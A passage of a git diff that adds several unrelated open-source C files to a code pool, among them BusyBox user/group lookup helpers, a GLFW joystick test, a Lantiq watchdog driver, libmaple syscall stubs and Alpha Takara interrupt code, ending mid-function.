+1,112 @@ +/* vi: set sw=4 ts=4: */ +/* + * password utility routines. + * + * Copyright (C) 1999-2004 by Erik Andersen + * Copyright (C) 2008 by Tito Ragusa + * + * Licensed under GPLv2 or later, see file LICENSE in this source tree. + */ + +#include "libbb.h" + +/* TODO: maybe change API to return malloced data? + * This will allow to stop using libc functions returning + * pointers to static data (getpwuid) + */ + +struct passwd* FAST_FUNC xgetpwnam(const char *name) +{ + struct passwd *pw = getpwnam(name); + if (!pw) + bb_error_msg_and_die("unknown user %s", name); + return pw; +} + +struct group* FAST_FUNC xgetgrnam(const char *name) +{ + struct group *gr = getgrnam(name); + if (!gr) + bb_error_msg_and_die("unknown group %s", name); + return gr; +} + + +struct passwd* FAST_FUNC xgetpwuid(uid_t uid) +{ + struct passwd *pw = getpwuid(uid); + if (!pw) + bb_error_msg_and_die("unknown uid %u", (unsigned)uid); + return pw; +} + +struct group* FAST_FUNC xgetgrgid(gid_t gid) +{ + struct group *gr = getgrgid(gid); + if (!gr) + bb_error_msg_and_die("unknown gid %u", (unsigned)gid); + return gr; +} + +char* FAST_FUNC xuid2uname(uid_t uid) +{ + struct passwd *pw = xgetpwuid(uid); + return pw->pw_name; +} + +char* FAST_FUNC xgid2group(gid_t gid) +{ + struct group *gr = xgetgrgid(gid); + return gr->gr_name; +} + +char* FAST_FUNC uid2uname(uid_t uid) +{ + struct passwd *pw = getpwuid(uid); + return (pw) ? pw->pw_name : NULL; +} + +char* FAST_FUNC gid2group(gid_t gid) +{ + struct group *gr = getgrgid(gid); + return (gr) ? gr->gr_name : NULL; +} + +char* FAST_FUNC uid2uname_utoa(uid_t uid) +{ + char *name = uid2uname(uid); + return (name) ? name : utoa(uid); +} + +char* FAST_FUNC gid2group_utoa(gid_t gid) +{ + char *name = gid2group(gid); + return (name) ? name : utoa(gid); +} + +long FAST_FUNC xuname2uid(const char *name) +{ + struct passwd *myuser; + + myuser = xgetpwnam(name); + return myuser->pw_uid; +} + +long FAST_FUNC xgroup2gid(const char *name) +{ + struct group *mygroup; + + mygroup = xgetgrnam(name); + return mygroup->gr_gid; +} + +unsigned long FAST_FUNC get_ug_id(const char *s, + long FAST_FUNC (*xname2id)(const char *)) +{ + unsigned long r; + + r = bb_strtoul(s, NULL, 10); + if (errno) + return xname2id(s); + return r; +} diff --git a/pool/shard011/C/0142004_joysticks.c b/pool/shard011/C/0142004_joysticks.c new file mode 100644 index 0000000000000000000000000000000000000000..cd49cd468d9e31afc81deccee10735fc86553d03 --- /dev/null +++ b/pool/shard011/C/0142004_joysticks.c @@ -0,0 +1,230 @@ +//======================================================================== +// Joystick input test +// Copyright (c) Camilla Berglund +// +// This software is provided 'as-is', without any express or implied +// warranty. In no event will the authors be held liable for any damages +// arising from the use of this software. +// +// Permission is granted to anyone to use this software for any purpose, +// including commercial applications, and to alter it and redistribute it +// freely, subject to the following restrictions: +// +// 1. The origin of this software must not be misrepresented; you must not +// claim that you wrote the original software. If you use this software +// in a product, an acknowledgment in the product documentation would +// be appreciated but is not required. +// +// 2. Altered source versions must be plainly marked as such, and must not +// be misrepresented as being the original software. +// +// 3. This notice may not be removed or altered from any source +// distribution. +// +//======================================================================== +// +// This test displays the state of every button and axis of every connected +// joystick and/or gamepad +// +//======================================================================== + +#include + +#include +#include +#include + +#ifdef _MSC_VER +#define strdup(x) _strdup(x) +#endif + +typedef struct Joystick +{ + GLboolean present; + char* name; + float* axes; + unsigned char* buttons; + int axis_count; + int button_count; +} Joystick; + +static Joystick joysticks[GLFW_JOYSTICK_LAST - GLFW_JOYSTICK_1 + 1]; +static int joystick_count = 0; + +static void error_callback(int error, const char* description) +{ + fprintf(stderr, "Error: %s\n", description); +} + +static void framebuffer_size_callback(GLFWwindow* window, int width, int height) +{ + glViewport(0, 0, width, height); +} + +static void draw_joystick(Joystick* j, int x, int y, int width, int height) +{ + int i; + int axis_width, axis_height; + int button_width, button_height; + + axis_width = width / j->axis_count; + axis_height = 3 * height / 4; + + button_width = width / j->button_count; + button_height = height / 4; + + for (i = 0; i < j->axis_count; i++) + { + float value = j->axes[i] / 2.f + 0.5f; + + glColor3f(0.3f, 0.3f, 0.3f); + glRecti(x + i * axis_width, + y, + x + (i + 1) * axis_width, + y + axis_height); + + glColor3f(1.f, 1.f, 1.f); + glRecti(x + i * axis_width, + y + (int) (value * (axis_height - 5)), + x + (i + 1) * axis_width, + y + 5 + (int) (value * (axis_height - 5))); + } + + for (i = 0; i < j->button_count; i++) + { + if (j->buttons[i]) + glColor3f(1.f, 1.f, 1.f); + else + glColor3f(0.3f, 0.3f, 0.3f); + + glRecti(x + i * button_width, + y + axis_height, + x + (i + 1) * button_width, + y + axis_height + button_height); + } +} + +static void draw_joysticks(GLFWwindow* window) +{ + int i, width, height; + + glfwGetFramebufferSize(window, &width, &height); + + glMatrixMode(GL_PROJECTION); + glLoadIdentity(); + glOrtho(0.f, width, height, 0.f, 1.f, -1.f); + glMatrixMode(GL_MODELVIEW); + + for (i = 0; i < sizeof(joysticks) / sizeof(Joystick); i++) + { + Joystick* j = joysticks + i; + + if (j->present) + { + draw_joystick(j, + 0, i * height / joystick_count, + width, height / joystick_count); + } + } +} + +static void refresh_joysticks(void) +{ + int i; + + for (i = 0; i < sizeof(joysticks) / sizeof(Joystick); i++) + { + Joystick* j = joysticks + i; + + if (glfwJoystickPresent(GLFW_JOYSTICK_1 + i)) + { + const float* axes; + const unsigned char* buttons; + int axis_count, button_count; + + free(j->name); + j->name = strdup(glfwGetJoystickName(GLFW_JOYSTICK_1 + i)); + + axes = glfwGetJoystickAxes(GLFW_JOYSTICK_1 + i, &axis_count); + if (axis_count != j->axis_count) + { + j->axis_count = axis_count; + j->axes = realloc(j->axes, j->axis_count * sizeof(float)); + } + + memcpy(j->axes, axes, axis_count * sizeof(float)); + + buttons = glfwGetJoystickButtons(GLFW_JOYSTICK_1 + i, &button_count); + if (button_count != j->button_count) + { + j->button_count = button_count; + j->buttons = realloc(j->buttons, j->button_count); + } + + memcpy(j->buttons, buttons, button_count * sizeof(unsigned char)); + + if (!j->present) + { + printf("Found joystick %i named \'%s\' with %i axes, %i buttons\n", + i + 1, j->name, j->axis_count, j->button_count); + + joystick_count++; + } + + j->present = GL_TRUE; + } + else + { + if (j->present) + { + printf("Lost joystick %i named \'%s\'\n", i + 1, j->name); + + free(j->name); + free(j->axes); + free(j->buttons); + memset(j, 0, sizeof(Joystick)); + + joystick_count--; + } + } + } +} + +int main(void) +{ + GLFWwindow* window; + + memset(joysticks, 0, sizeof(joysticks)); + + glfwSetErrorCallback(error_callback); + + if (!glfwInit()) + exit(EXIT_FAILURE); + + window = glfwCreateWindow(640, 480, "Joystick Test", NULL, NULL); + if (!window) + { + glfwTerminate(); + exit(EXIT_FAILURE); + } + + glfwSetFramebufferSizeCallback(window, framebuffer_size_callback); + + glfwMakeContextCurrent(window); + glfwSwapInterval(1); + + while (!glfwWindowShouldClose(window)) + { + glClear(GL_COLOR_BUFFER_BIT); + + refresh_joysticks(); + draw_joysticks(window); + + glfwSwapBuffers(window); + glfwPollEvents(); + } + + glfwTerminate(); + exit(EXIT_SUCCESS); +} + diff --git a/pool/shard011/C/0142005_pswalk.c b/pool/shard011/C/0142005_pswalk.c new file mode 100644 index 0000000000000000000000000000000000000000..e0a442b8648b791f970f77b0e3d7cd4ac25175e8 --- /dev/null +++ b/pool/shard011/C/0142005_pswalk.c @@ -0,0 +1,77 @@ +// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0 +/****************************************************************************** + * + * Module Name: pswalk - Parser routines to walk parsed op tree(s) + * + * Copyright (C) 2000 - 2018, Intel Corp. + * + *****************************************************************************/ + +#include +#include "accommon.h" +#include "acparser.h" + +#define _COMPONENT ACPI_PARSER +ACPI_MODULE_NAME("pswalk") + +/******************************************************************************* + * + * FUNCTION: acpi_ps_delete_parse_tree + * + * PARAMETERS: subtree_root - Root of tree (or subtree) to delete + * + * RETURN: None + * + * DESCRIPTION: Delete a portion of or an entire parse tree. + * + ******************************************************************************/ +void acpi_ps_delete_parse_tree(union acpi_parse_object *subtree_root) +{ + union acpi_parse_object *op = subtree_root; + union acpi_parse_object *next = NULL; + union acpi_parse_object *parent = NULL; + + ACPI_FUNCTION_TRACE_PTR(ps_delete_parse_tree, subtree_root); + + /* Visit all nodes in the subtree */ + + while (op) { + + /* Check if we are not ascending */ + + if (op != parent) { + + /* Look for an argument or child of the current op */ + + next = acpi_ps_get_arg(op, 0); + if (next) { + + /* Still going downward in tree (Op is not completed yet) */ + + op = next; + continue; + } + } + + /* No more children, this Op is complete. */ + + next = op->common.next; + parent = op->common.parent; + + acpi_ps_free_op(op); + + /* If we are back to the starting point, the walk is complete. */ + + if (op == subtree_root) { + return_VOID; + } + + if (next) { + op = next; + } else { + op = parent; + } + } + + return_VOID; +} diff --git a/pool/shard011/C/0142006_lantiq_wdt.c b/pool/shard011/C/0142006_lantiq_wdt.c new file mode 100644 index 0000000000000000000000000000000000000000..088fd0c9d88811e81dfab7217d612ec950654d69 --- /dev/null +++ b/pool/shard011/C/0142006_lantiq_wdt.c @@ -0,0 +1,252 @@ +/* + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 as published + * by the Free Software Foundation. + * + * Copyright (C) 2010 John Crispin + * Based on EP93xx wdt driver + */ + +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +/* + * Section 3.4 of the datasheet + * The password sequence protects the WDT control register from unintended + * write actions, which might cause malfunction of the WDT. + * + * essentially the following two magic passwords need to be written to allow + * IO access to the WDT core + */ +#define LTQ_WDT_PW1 0x00BE0000 +#define LTQ_WDT_PW2 0x00DC0000 + +#define LTQ_WDT_CR 0x0 /* watchdog control register */ +#define LTQ_WDT_SR 0x8 /* watchdog status register */ + +#define LTQ_WDT_SR_EN (0x1 << 31) /* enable bit */ +#define LTQ_WDT_SR_PWD (0x3 << 26) /* turn on power */ +#define LTQ_WDT_SR_CLKDIV (0x3 << 24) /* turn on clock and set */ + /* divider to 0x40000 */ +#define LTQ_WDT_DIVIDER 0x40000 +#define LTQ_MAX_TIMEOUT ((1 << 16) - 1) /* the reload field is 16 bit */ + +static bool nowayout = WATCHDOG_NOWAYOUT; + +static void __iomem *ltq_wdt_membase; +static unsigned long ltq_io_region_clk_rate; + +static unsigned long ltq_wdt_bootstatus; +static unsigned long ltq_wdt_in_use; +static int ltq_wdt_timeout = 30; +static int ltq_wdt_ok_to_close; + +static void +ltq_wdt_enable(void) +{ + unsigned long int timeout = ltq_wdt_timeout * + (ltq_io_region_clk_rate / LTQ_WDT_DIVIDER) + 0x1000; + if (timeout > LTQ_MAX_TIMEOUT) + timeout = LTQ_MAX_TIMEOUT; + + /* write the first password magic */ + ltq_w32(LTQ_WDT_PW1, ltq_wdt_membase + LTQ_WDT_CR); + /* write the second magic plus the configuration and new timeout */ + ltq_w32(LTQ_WDT_SR_EN | LTQ_WDT_SR_PWD | LTQ_WDT_SR_CLKDIV | + LTQ_WDT_PW2 | timeout, ltq_wdt_membase + LTQ_WDT_CR); +} + +static void +ltq_wdt_disable(void) +{ + /* write the first password magic */ + ltq_w32(LTQ_WDT_PW1, ltq_wdt_membase + LTQ_WDT_CR); + /* + * write the second password magic with no config + * this turns the watchdog off + */ + ltq_w32(LTQ_WDT_PW2, ltq_wdt_membase + LTQ_WDT_CR); +} + +static ssize_t +ltq_wdt_write(struct file *file, const char __user *data, + size_t len, loff_t *ppos) +{ + if (len) { + if (!nowayout) { + size_t i; + + ltq_wdt_ok_to_close = 0; + for (i = 0; i != len; i++) { + char c; + + if (get_user(c, data + i)) + return -EFAULT; + if (c == 'V') + ltq_wdt_ok_to_close = 1; + else + ltq_wdt_ok_to_close = 0; + } + } + ltq_wdt_enable(); + } + + return len; +} + +static struct watchdog_info ident = { + .options = WDIOF_MAGICCLOSE | WDIOF_SETTIMEOUT | WDIOF_KEEPALIVEPING | + WDIOF_CARDRESET, + .identity = "ltq_wdt", +}; + +static long +ltq_wdt_ioctl(struct file *file, + unsigned int cmd, unsigned long arg) +{ + int ret = -ENOTTY; + + switch (cmd) { + case WDIOC_GETSUPPORT: + ret = copy_to_user((struct watchdog_info __user *)arg, &ident, + sizeof(ident)) ? -EFAULT : 0; + break; + + case WDIOC_GETBOOTSTATUS: + ret = put_user(ltq_wdt_bootstatus, (int __user *)arg); + break; + + case WDIOC_GETSTATUS: + ret = put_user(0, (int __user *)arg); + break; + + case WDIOC_SETTIMEOUT: + ret = get_user(ltq_wdt_timeout, (int __user *)arg); + if (!ret) + ltq_wdt_enable(); + /* intentional drop through */ + case WDIOC_GETTIMEOUT: + ret = put_user(ltq_wdt_timeout, (int __user *)arg); + break; + + case WDIOC_KEEPALIVE: + ltq_wdt_enable(); + ret = 0; + break; + } + return ret; +} + +static int +ltq_wdt_open(struct inode *inode, struct file *file) +{ + if (test_and_set_bit(0, <q_wdt_in_use)) + return -EBUSY; + ltq_wdt_in_use = 1; + ltq_wdt_enable(); + + return nonseekable_open(inode, file); +} + +static int +ltq_wdt_release(struct inode *inode, struct file *file) +{ + if (ltq_wdt_ok_to_close) + ltq_wdt_disable(); + else + pr_err("watchdog closed without warning\n"); + ltq_wdt_ok_to_close = 0; + clear_bit(0, <q_wdt_in_use); + + return 0; +} + +static const struct file_operations ltq_wdt_fops = { + .owner = THIS_MODULE, + .write = ltq_wdt_write, + .unlocked_ioctl = ltq_wdt_ioctl, + .open = ltq_wdt_open, + .release = ltq_wdt_release, + .llseek = no_llseek, +}; + +static struct miscdevice ltq_wdt_miscdev = { + .minor = WATCHDOG_MINOR, + .name = "watchdog", + .fops = <q_wdt_fops, +}; + +static int +ltq_wdt_probe(struct platform_device *pdev) +{ + struct resource *res = platform_get_resource(pdev, IORESOURCE_MEM, 0); + struct clk *clk; + + if (!res) { + dev_err(&pdev->dev, "cannot obtain I/O memory region"); + return -ENOENT; + } + + ltq_wdt_membase = devm_ioremap_resource(&pdev->dev, res); + if (IS_ERR(ltq_wdt_membase)) + return PTR_ERR(ltq_wdt_membase); + + /* we do not need to enable the clock as it is always running */ + clk = clk_get_io(); + if (IS_ERR(clk)) { + dev_err(&pdev->dev, "Failed to get clock\n"); + return -ENOENT; + } + ltq_io_region_clk_rate = clk_get_rate(clk); + clk_put(clk); + + /* find out if the watchdog caused the last reboot */ + if (ltq_reset_cause() == LTQ_RST_CAUSE_WDTRST) + ltq_wdt_bootstatus = WDIOF_CARDRESET; + + dev_info(&pdev->dev, "Init done\n"); + return misc_register(<q_wdt_miscdev); +} + +static int +ltq_wdt_remove(struct platform_device *pdev) +{ + misc_deregister(<q_wdt_miscdev); + + return 0; +} + +static const struct of_device_id ltq_wdt_match[] = { + { .compatible = "lantiq,wdt" }, + {}, +}; +MODULE_DEVICE_TABLE(of, ltq_wdt_match); + +static struct platform_driver ltq_wdt_driver = { + .probe = ltq_wdt_probe, + .remove = ltq_wdt_remove, + .driver = { + .name = "wdt", + .owner = THIS_MODULE, + .of_match_table = ltq_wdt_match, + }, +}; + +module_platform_driver(ltq_wdt_driver); + +module_param(nowayout, bool, 0); +MODULE_PARM_DESC(nowayout, "Watchdog cannot be stopped once started"); +MODULE_AUTHOR("John Crispin "); +MODULE_DESCRIPTION("Lantiq SoC Watchdog"); +MODULE_LICENSE("GPL"); +MODULE_ALIAS_MISCDEV(WATCHDOG_MINOR); diff --git a/pool/shard011/C/0142007_utils_event.c b/pool/shard011/C/0142007_utils_event.c new file mode 100644 index 0000000000000000000000000000000000000000..d1af9d0cf128260ef639fc8d9aa57e919cfe9e25 --- /dev/null +++ b/pool/shard011/C/0142007_utils_event.c @@ -0,0 +1,125 @@ +/** + * \file + * + * \brief Events implementation. + * + * Copyright (c) 2015-2018 Microchip Technology Inc. and its subsidiaries. + * + * \asf_license_start + * + * \page License + * + * Subject to your compliance with these terms, you may use Microchip + * software and any derivatives exclusively with Microchip products. + * It is your responsibility to comply with third party license terms applicable + * to your use of third party software (including open source software) that + * may accompany Microchip software. + * + * THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, + * WHETHER EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, + * INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, + * AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL MICROCHIP BE + * LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL + * LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE + * SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE + * POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE FULLEST EXTENT + * ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN ANY WAY + * RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY, + * THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE. + * + * \asf_license_stop + * + */ + +#include +#include +#include + +#define EVENT_WORD_BITS (sizeof(event_word_t) * 8) + +static struct list_descriptor events; +static uint8_t subscribed[EVENT_MASK_SIZE]; + +int32_t event_subscribe(struct event *const event, const event_id_t id, event_cb_t cb) +{ + /* get byte and bit number of the given event in the event mask */ + const uint8_t position = id >> 3; + const uint8_t mask = 1 << (id & 0x7); + + ASSERT(event && cb && (id < EVENT_MAX_AMOUNT)); + + if (event->mask[position] & mask) { + return ERR_NO_CHANGE; /* Already subscribed */ + } + + if (!is_list_element(&events, event)) { + memset(event->mask, 0, EVENT_MASK_SIZE); + list_insert_as_head(&events, event); + } + event->cb = cb; + event->mask[position] |= mask; + + subscribed[position] |= mask; + + return ERR_NONE; +} + +int32_t event_unsubscribe(struct event *const event, const event_id_t id) +{ + /* get byte and bit number of the given event in the event mask */ + const uint8_t position = id >> 3; + const uint8_t mask = 1 << (id & 0x7); + const struct event *current; + uint8_t i; + + ASSERT(event && (id < EVENT_MAX_AMOUNT)); + + if (!(event->mask[position] & mask)) { + return ERR_NO_CHANGE; /* Already unsubscribed */ + } + + event->mask[position] &= ~mask; + + /* Check if there are more subscribers */ + for ((current = (const struct event *)list_get_head(&events)); current; + current = (const struct event *)list_get_next_element(current)) { + if (current->mask[position] & mask) { + break; + } + } + if (!current) { + subscribed[position] &= ~mask; + } + + /* Remove event from the list. Can be unsave, document it! */ + for (i = 0; i < ARRAY_SIZE(event->mask); i++) { + if (event->mask[i]) { + return ERR_NONE; + } + } + list_delete_element(&events, event); + + return ERR_NONE; +} + +void event_post(const event_id_t id, const event_data_t data) +{ + /* get byte and bit number of the given event in the event mask */ + const uint8_t position = id >> 3; + const uint8_t mask = 1 << (id & 0x7); + const struct event *current; + + ASSERT((id < EVENT_MAX_AMOUNT)); + + if (!(subscribed[position] & mask)) { + return; /* No subscribers */ + } + + /* Find all subscribers */ + for ((current = (const struct event *)list_get_head(&events)); current; + current = (const struct event *)list_get_next_element(current)) { + if (current->mask[position] & mask) { + current->cb(id, data); + } + } +} diff --git a/pool/shard011/C/0142008_split_path.c b/pool/shard011/C/0142008_split_path.c new file mode 100644 index 0000000000000000000000000000000000000000..5a86269880e26a8355fcf0500a6068fc45efb3a2 --- /dev/null +++ b/pool/shard011/C/0142008_split_path.c @@ -0,0 +1,73 @@ +/* (C) Guenter Geiger */ + +/* I started with stripdir.c and turned it into split_path.c */ + +#include +#include +#include + +#ifdef _MSC_VER +#pragma warning( disable : 4244 ) +#pragma warning( disable : 4305 ) +#endif + +static char *version = "$Revision: 1.1 $"; + +/* ------------------------ split_path ----------------------------- */ + +static t_class *split_path_class; + +typedef struct _split_path +{ + t_object x_obj; + t_outlet *x_path_outlet; + t_outlet *x_filename_outlet; +} t_split_path; + + +void split_path_symbol(t_split_path *x, t_symbol *s) +{ + int length = strlen(s->s_name); + char path_buffer[MAXPATHLEN] = ""; + + while (length--) + if (*(s->s_name + length) == '/') + break; + if (length < MAXPATHLEN) + outlet_symbol(x->x_filename_outlet,gensym(s->s_name + length + 1)); + else + error("[split_path] filename name too long. The limit is %d characters",MAXPATHLEN); + while (length > 0) + { + length--; + if(*(s->s_name + length) != '/') break; + } + if (length < MAXPATHLEN) + { + strncpy(path_buffer, s->s_name, length + 1); + outlet_symbol(x->x_path_outlet,gensym(path_buffer)); + } + else + { + error("[split_path] path name too long. The limit is %d characters",MAXPATHLEN); + } +} + +static void *split_path_new() +{ + t_split_path *x = (t_split_path *)pd_new(split_path_class); + x->x_path_outlet = (t_outlet *)outlet_new(&x->x_obj, &s_symbol); + x->x_filename_outlet = (t_outlet *)outlet_new(&x->x_obj, &s_symbol); + return (x); +} + +void split_path_setup(void) +{ + split_path_class = class_new(gensym("split_path"), (t_newmethod)split_path_new, 0, + sizeof(t_split_path), 0,0); + class_addsymbol(split_path_class,split_path_symbol); + logpost(NULL, 4, "[split_path] %s",version); + logpost(NULL, 4, "\twritten by Hans-Christoph Steiner "); +} + + diff --git a/pool/shard011/C/0142009_syscalls.c b/pool/shard011/C/0142009_syscalls.c new file mode 100644 index 0000000000000000000000000000000000000000..8a5794529770a6d4bbcb3d5dc5c2968499a4ff35 --- /dev/null +++ b/pool/shard011/C/0142009_syscalls.c @@ -0,0 +1,167 @@ +/****************************************************************************** + * The MIT License + * + * Copyright (c) 2010 Perry Hung. + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, copy, + * modify, merge, publish, distribute, sublicense, and/or sell copies + * of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + *****************************************************************************/ + +/** + * @file syscalls.c + * @brief Low level system routines used by Newlib for basic I/O and + * memory allocation. + */ + +#include "libmaple.h" + +#include +#include + +/* If CONFIG_HEAP_START (or CONFIG_HEAP_END) isn't defined, then + * assume _lm_heap_start (resp. _lm_heap_end) is appropriately set by + * the linker */ +#ifndef CONFIG_HEAP_START +extern char _lm_heap_start; +#define CONFIG_HEAP_START ((caddr_t)&_lm_heap_start) +#endif +#ifndef CONFIG_HEAP_END +extern char _lm_heap_end; +#define CONFIG_HEAP_END ((caddr_t)&_lm_heap_end) +#endif + +/* + * _sbrk -- Increment the program break. + * + * Get incr bytes more RAM (for use by the heap). malloc() and + * friends call this function behind the scenes. + */ +caddr_t _sbrk(int incr) { + static caddr_t pbreak = NULL; /* current program break */ + caddr_t ret; + + if (pbreak == NULL) { + pbreak = CONFIG_HEAP_START; + } + + if ((CONFIG_HEAP_END - pbreak < incr) || + (pbreak - CONFIG_HEAP_START < -incr)) { + errno = ENOMEM; + return (caddr_t)-1; + } + + ret = pbreak; + pbreak += incr; + return ret; +} + +int _open(const char *path, int flags, ...) { + return 1; +} + +int _close(int fd) { + return 0; +} + +int _fstat(int fd, struct stat *st) { + st->st_mode = S_IFCHR; + return 0; +} + +int _isatty(int fd) { + return 1; +} + +int isatty(int fd) { + return 1; +} + +int _lseek(int fd, off_t pos, int whence) { + return -1; +} + +unsigned char getch(void) { + return 0; +} + + +int _read(int fd, char *buf, size_t cnt) { + *buf = getch(); + + return 1; +} + +void putch(unsigned char c) { +} + +void cgets(char *s, int bufsize) { + char *p; + int c; + int i; + + for (i = 0; i < bufsize; i++) { + *(s+i) = 0; + } +// memset(s, 0, bufsize); + + p = s; + + for (p = s; p < s + bufsize-1;) { + c = getch(); + switch (c) { + case '\r' : + case '\n' : + putch('\r'); + putch('\n'); + *p = '\n'; + return; + + case '\b' : + if (p > s) { + *p-- = 0; + putch('\b'); + putch(' '); + putch('\b'); + } + break; + + default : + putch(c); + *p++ = c; + break; + } + } + return; +} + +int _write(int fd, const char *buf, size_t cnt) { + int i; + + for (i = 0; i < cnt; i++) + putch(buf[i]); + + return cnt; +} + +/* Override fgets() in newlib with a version that does line editing */ +char *fgets(char *s, int bufsize, void *f) { + cgets(s, bufsize); + return s; +} diff --git a/pool/shard011/C/0142010_sys_takara.c b/pool/shard011/C/0142010_sys_takara.c new file mode 100644 index 0000000000000000000000000000000000000000..714dae0fb75ce7cf30ab50a3101a8338a5ded0b1 --- /dev/null +++ b/pool/shard011/C/0142010_sys_takara.c @@ -0,0 +1,257 @@ +/* + * linux/arch/alpha/kernel/sys_takara.c + * + * Copyright (C) 1995 David A Rusling + * Copyright (C) 1996 Jay A Estabrook + * Copyright (C) 1998, 1999 Richard Henderson + * + * Code supporting the TAKARA. + */ + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "proto.h" +#include "irq_impl.h" +#include "pci_impl.h" +#include "machvec_impl.h" +#include "pc873xx.h" + +static unsigned long cached_irq_mask[2] = { -1, -1 }; + +static inline void +takara_update_irq_hw(unsigned long irq, unsigned long mask) +{ + int regaddr; + + mask = (irq >= 64 ? mask << 16 : mask >> ((irq - 16) & 0x30)); + regaddr = 0x510 + (((irq - 16) >> 2) & 0x0c); + outl(mask & 0xffff0000UL, regaddr); +} + +static inline void +takara_enable_irq(struct irq_data *d) +{ + unsigned int irq = d->irq; + unsigned long mask; + mask = (cached_irq_mask[irq >= 64] &= ~(1UL << (irq & 63))); + takara_update_irq_hw(irq, mask); +} + +static void +takara_disable_irq(struct irq_data *d) +{ + unsigned int irq = d->irq; + unsigned long mask; + mask = (cached_irq_mask[irq >= 64] |= 1UL << (irq & 63)); + takara_update_irq_hw(irq, mask); +} + +static struct irq_chip takara_irq_type = { + .name = "TAKARA", + .irq_unmask = takara_enable_irq, + .irq_mask = takara_disable_irq, + .irq_mask_ack = takara_disable_irq, +}; + +static void +takara_device_interrupt(unsigned long vector) +{ + unsigned intstatus; + + + intstatus = inw(0x500) & 15; + if (intstatus) { + + if (intstatus & 8) handle_irq(16+3); + if (intstatus & 4) handle_irq(16+2); + if (intstatus & 2) handle_irq(16+1); + if (intstatus & 1) handle_irq(16+0); + } else { + isa_device_interrupt (vector); + } +} + +static void +takara_srm_device_interrupt(unsigned long vector) +{ + int irq = (vector - 0x800) >> 4; + handle_irq(irq); +} + +static void __init +takara_init_irq(void) +{ + long i; + + init_i8259a_irqs(); + + if (alpha_using_srm) { + alpha_mv.device_interrupt = takara_srm_device_interrupt; + } else { + unsigned int ctlreg = inl(0x500); + + + ctlreg &= ~0x8000; + outl(ctlreg, 0x500); + + + ctlreg = 0x05107c00; + outl(ctlreg, 0x500); + } + + for (i = 16; i < 128; i += 16) + takara_update_irq_hw(i, -1); + + for (i = 16; i < 128; ++i) { + irq_set_chip_and_handler(i, &takara_irq_type, + handle_level_irq); + irq_set_status_flags(i, IRQ_LEVEL); + } + + common_init_isa_dma(); +} + + + +static int __init +takara_map_irq_srm(const struct pci_dev *dev, u8 slot, u8 pin) +{ + static char irq_tab[15][5] __initdata = { + { 16+3, 16+3, 16+3, 16+3, 16+3}, + { 16+2, 16+2, 16+2, 16+2, 16+2}, + { 16+1, 16+1, 16+1, 16+1, 16+1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + + { 12, 12, 13, 14, 15}, + { 8, 8, 9, 19, 11}, + { 4, 4, 5, 6, 7}, + { 0, 0, 1, 2, 3}, + { -1, -1, -1, -1, -1}, + {64+ 0, 64+0, 64+1, 64+2, 64+3}, + {48+ 0, 48+0, 48+1, 48+2, 48+3}, + {32+ 0, 32+0, 32+1, 32+2, 32+3}, + {16+ 0, 16+0, 16+1, 16+2, 16+3}, + }; + const long min_idsel = 6, max_idsel = 20, irqs_per_slot = 5; + int irq = COMMON_TABLE_LOOKUP; + if (irq >= 0 && irq < 16) { + + unsigned int busslot = PCI_SLOT(dev->bus->self->devfn); + irq += irq_tab[busslot-min_idsel][0]; + } + return irq; +} + +static int __init +takara_map_irq(const struct pci_dev *dev, u8 slot, u8 pin) +{ + static char irq_tab[15][5] __initdata = { + { 16+3, 16+3, 16+3, 16+3, 16+3}, + { 16+2, 16+2, 16+2, 16+2, 16+2}, + { 16+1, 16+1, 16+1, 16+1, 16+1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { -1, -1, -1, -1, -1}, + { 16+3, 16+3, 16+3, 16+3, 16+3}, + { 16+2, 16+2, 16+2, 16+2, 16+2}, + { 16+1, 16+1, 16+1, 16+1, 16+1}, + }; + const long min_idsel = 6, max_idsel = 20, irqs_per_slot = 5; + return COMMON_TABLE_LOOKUP; +} + +static u8 __init +takara_swizzle(struct pci_dev *dev, u8 *pinp) +{ + int slot = PCI_SLOT(dev->devfn); + int pin = *pinp; + unsigned int ctlreg = inl(0x500); + unsigned int busslot; + + if (!dev->bus->self) + return slot; + + busslot = 